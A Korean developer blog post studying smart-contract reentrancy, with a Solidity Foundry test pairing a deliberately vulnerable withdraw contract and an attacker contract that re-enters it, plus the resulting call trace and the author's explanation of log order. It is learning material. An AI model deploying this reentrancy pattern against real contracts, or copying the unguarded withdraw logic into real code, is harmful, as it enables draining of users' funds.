[SCH] Reentrancy 1

frenchkebab·2023년 4월 24일
0

Web3

목록 보기
3/8

Reentrancy 1

[1] Reentrancy에 대한 Questions

  1. external call이 있는가?
  2. contract가 ETH를 send하는가?
  3. state update가 after transfer인가? (CEI 패턴)
  4. User가 contract일 수 있는가?

[2] reentrancy에 대한 고찰

reentrancy에 대해서 어떻게 수행하는지에 대해서만 알고 있었는데, 이번에 foundry에서 정확한 call stack을 분석해 보았다.

pragma solidity 0.8.19;

import "forge-std/Test.sol";

contract Reentrancy {
    uint256 counter;

    event count(uint256);
    event sentLog(bool);

    constructor() payable {}

    function withdraw1ETH() external {
        (bool sent, ) = msg.sender.call{value: 1 ether}("");
        require(sent, "withdrawal failed");
        console.log("[target] counter: ", counter);
        counter++;
        console.log("[target] sent: ", sent);
    }
}

contract Attacker {
    Reentrancy target;
    uint256 counter;

    constructor(address _target) {
        target = Reentrancy(_target);
    }

    function attack() public {
        target.withdraw1ETH();
    }

    fallback() external payable {
        (bool sent, ) = (msg.sender).call(abi.encodeWithSignature("withdraw1ETH()"));
        console.log("[attacker] sent: ", sent);
    }
}

결과는 다음과 같다.

  [attacker] sent:  false
  [target] counter:  0
  [target] sent:  true
  [attacker] sent:  true
  [target] counter:  1
  [target] sent:  true

결과를 보고 왜 첫 번째 sent에서 false가 나오는지 한참 이해를 못해서 1시간 가량 헤맸는데... foundry 테스트 결과를 보고 겨우 이해했다.

callstack에 대해서 제대로 이해를 못했었나보다.

Traces:
  [448893] ReentrancyTest::setUp() 
    ├─ [0] VM::deal(0x0000000000000000000000000000000000000001, 100000000000000000000) 
    │   └─  ()
    ├─ [0] VM::deal(0x0000000000000000000000000000000000000002, 100000000000000000000) 
    │   └─  ()
    ├─ [0] VM::prank(0x0000000000000000000000000000000000000001) 
    │   └─  ()
    ├─ [148172]new Reentrancy@0x522B3294E6d06aA25Ad0f1B8891242E335D3B459
    │   └─ ← 740 bytes of code
    ├─ [0] VM::prank(0x0000000000000000000000000000000000000002) 
    │   └─  ()
    ├─ [143114]new Attacker@0xE536720791A7DaDBeBdBCD8c8546fb0791a11901
    │   └─ ← 603 bytes of code
    └─  ()

  [67012] ReentrancyTest::test() 
    ├─ [0] VM::prank(0x0000000000000000000000000000000000000002) 
    │   └─  ()
    ├─ [56812] Attacker::attack() 
    │   ├─ [51718] Reentrancy::withdraw1ETH() 
    │   │   ├─ [42896] Attacker::fallback{value: 1000000000000000000}() 
    │   │   │   ├─ [41675] Reentrancy::withdraw1ETH() 
    │   │   │   │   ├─ [10953] Attacker::fallback{value: 1000000000000000000}() 
    │   │   │   │   │   ├─ [7138] Reentrancy::withdraw1ETH() 
    │   │   │   │   │   │   ├─ [0] Attacker::fallback{value: 1000000000000000000}() 
    │   │   │   │   │   │   │   └─ ← "EvmError: OutOfFund"
    │   │   │   │   │   │   └─ ← "withdrawal failed"
    │   │   │   │   │   ├─ [0] console::log([attacker] sent: , false) [staticcall]
    │   │   │   │   │   │   └─  ()
    │   │   │   │   │   └─  ()
    │   │   │   │   ├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000125b7461726765745d20636f756e7465723a200000000000000000000000000000) [staticcall]
    │   │   │   │   │   └─  ()
    │   │   │   │   ├─ [0] console::log([target] sent: , true) [staticcall]
    │   │   │   │   │   └─  ()
    │   │   │   │   └─  ()
    │   │   │   ├─ [0] console::log([attacker] sent: , true) [staticcall]
    │   │   │   │   └─  ()
    │   │   │   └─  ()
    │   │   ├─ [0] console::9710a9d0(0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000125b7461726765745d20636f756e7465723a200000000000000000000000000000) [staticcall]
    │   │   │   └─  ()
    │   │   ├─ [0] console::log([target] sent: , true) [staticcall]
    │   │   │   └─  ()
    │   │   └─  ()
    │   └─  ()
    └─  ()

Test result: ok. 1 passed; 0 failed; finished in 4.00ms

가장 마지막의 stack에서 부터 console이 찍히기 때문이였다.
마지막에 target에서 balance가 부족해서 revert가 난 순간부터 새로운 stack이 쌓이는 것이 스탑되어서 거기서부터 call이 반환되어가며 console이 찍히기 시작한다.

즉, reentrancy에서 나는 당연히 첫 번째 call 부터 trasnfer가 시작될 것이라고 생각했는데, 테스트를 해보니 balance가 부족해서 실패하는 마지막 call의 다음 stack부터 transfer가 시작되는 것이였다.

profile
Blockchain Dev Journey

0개의 댓글